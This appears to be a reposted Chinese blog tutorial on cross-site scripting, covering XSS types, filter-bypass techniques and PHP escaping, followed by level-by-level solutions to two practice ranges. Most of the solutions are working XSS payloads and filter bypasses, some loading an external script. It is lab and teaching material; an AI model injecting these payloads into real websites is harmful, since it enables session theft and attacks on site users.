网站

网站,第1张

XXS技术 XXS简介与分类

跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是寻找参数未过滤的输出函数。

下面是一些常见的XSS分类:

  • 反射性XSS
  • 存储型XSS
  • DOM型XSS
反射性XSS

攻击者事先准备好攻击请求,被攻击人去使用这个链接的时候就会触发XSS恶意代码。

存储型XSS

存储型XSS代码是存储在服务器内的,危害比较大。

DOM型XSS

跟存储型XSS类似,不过不同的是该类型能伪装成页面元素。

XSS的攻击与防御

一般我们在发现XSS插入点后,使用XSS平台辅助进行攻击。

XSS靶场

XSS平台_1
XSS平台_2

XSS绕过手法

无论哪一种XSS绕过方法,都需要试探出目标主要过滤了什么东西。

  • HTML实体编码绕过
  • HTML实体编码+URLENCODE编码绕过
  • NATIVE绕过
  • ``代替括号
  • 与十六进制实体编码相结合
  • 换行绕过
  • 不闭合绕过
  • –!>闭合绕过
  • url特性引入自定义JS绕过
  • 双渲染绕过
  • on监听器绕过
  • js伪协议绕过
  • 双写绕过
CTF特训营中的XSS绕过手法

关键字过滤大部分时针对敏感变量或者函数而进行的,我们可以通过字符串拼接和编码解码等方式绕过。

字符串拼接与混淆
  • Javascript中的对象方法可以使用数组来进行调用
window['alert'](/xss/)
编码解码
  • HTML进制编码
  • CSS进制编码
  • Javascript进制编码
  • URL编码
  • JSFuck编码
过滤关键字
  • 过滤()
    在Javascript中,可以通过绑定错误处理函数,使用throw关键字传递参数绕过对()的过滤。
window.onerror=alert; throw 1;
  • 过滤空格
    过滤空格可以使用/来代替空格绕过过滤,也可以使用0x09、0x10、0x12、0x0a、0x13等

XSS的防御手法

无论是反射型还是存储型我们都可以使用PHP函数htmlentities或者htmlspecialchars进行转义。如果是存储型XSS需要转义后,这两个函数有所不同:

  • htmlentities:会转化所有的html代码,连同里面的它无法识别的中文字符也会转化。
  • htmlspecialchars:只转义&"'<>这几个代码。
XSS平台_1 · WP
  • 0x00
<script>alert(1)script>
  • 0x01
textarea><script>alert(1)script>
  • 0x02
"><script>alert(1)script>
  • 0x03
<script>alert`1`script> 
  • 0x04
<svg><script>alert&#x28;1&#x29;script> 
<img src="x" onerror="alert(1)"> 
  • 0x05
--!><script>alert(1)script>也可以闭合注释 -->
  • 0x06
onclick
="alert(1)" 
  • 0x07
<img src="x" onerror="alert(1)" 
  • 0x08
style
>
<img src="x" onerror="alert(1)"
>
  • 0x09
https://www.segmentfault.com@507.cool/">script><img src="x" onerror="alert(1)"> 
  • 0x0A
http:s://www.segmentfault.com@xss.haozi.me/j.js 
  • 0x0B
<svg><script>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;script>
<img src="x" onerror="alert(1)"> 
  • 0x0C
<img src="x" onerror="alert(1)">
  • 0x0D
123')
alert(1);
--> 
  • 0x0E
<ſcript src="https://xss.haozi.me/j.js">script>
  • 0x0F
');
alert(1)// 
  • 0x10
script>
<script>
  alert(1)
  • 0x11
");alert(1)//
  • 0x12
\");
alert(1);
--> // 
XXS平台_2 · WP
  • 1
<script>alert(1)script>
  • 2
keyword=test" > <script>alert(1)script> -->
  • 3
keyword=' οnclick='alert(1)
  • 4
keyword=%22 οnclick="alert(1)
  • 5
keyword="><a href="javascript:alert(1)"> 
  • 6
keyword=123"><SCRIPT>alert(1)SCRipt> 
  • 7
keyword=123"><a hrhrefef=javascscriptript:alert(1)><img sRc=""

  • 9
keyword=javascrip%26%23116%3B%3Aalert%281%29%2F%2Fhttp%3A%2F%2Fbaidu.com

  • 10
keyword=<>&t_sort=" type="text" οnclick="alert(1)

  • 11

123" type="text" οnclick="alert(1)
  • 12

123" type="text" οnclick="alert(1)
  • 13

user=" type="text" οnclick="alert(1)"
  • 14

  • 15
src='http://106.14.75.106:82/level1.php?name=<img src=asd onerror=alert(1)>'

  • 16
keyword=
  • 17
arg01=%0aonmousedown&arg02='alert(1)'
  • 18
arg01=%0aonmousedown&arg02='alert(1)'

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/langs/797133.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-05-06
下一篇 2022-05-06

发表评论

登录后才能评论

评论列表(0条)